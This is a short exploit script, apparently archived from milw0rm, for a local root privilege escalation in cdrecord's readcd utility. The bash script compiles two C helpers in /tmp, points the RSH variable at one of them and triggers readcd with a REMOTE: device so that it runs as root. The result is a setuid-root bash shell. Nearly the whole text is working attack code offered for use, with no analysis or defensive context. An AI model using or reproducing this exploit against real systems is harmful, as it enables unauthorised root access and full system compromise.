CDRecord's ReadCD Local Root Privileges

#!/bin/bash echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)" echo "Author : newbug [at] chroot.org" echo "Date :09.13.2004" echo "IRC : irc.chroot.org #discuss" export READCD=/usr/bin/readcd cd /tmp cat > s.c <<_EOF_ #include <unistd.h> #include <sys/types.h> #include <stdio.h> int main() { setuid(0);setgid(0); chown("/tmp/ss", 0, 0); chmod("/tmp/ss", 04755); return 0; } _EOF_ cat > ss.c <<_EOF_ #include <stdio.h> int main() { setuid(0);setgid(0); execl("/bin/bash","bash",(char *)0); return 0; } _EOF_ gcc -o s s.c gcc -o ss ss.c export RSH=/tmp/s $READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1 /tmp/ss // milw0rm.com [2004-09-19]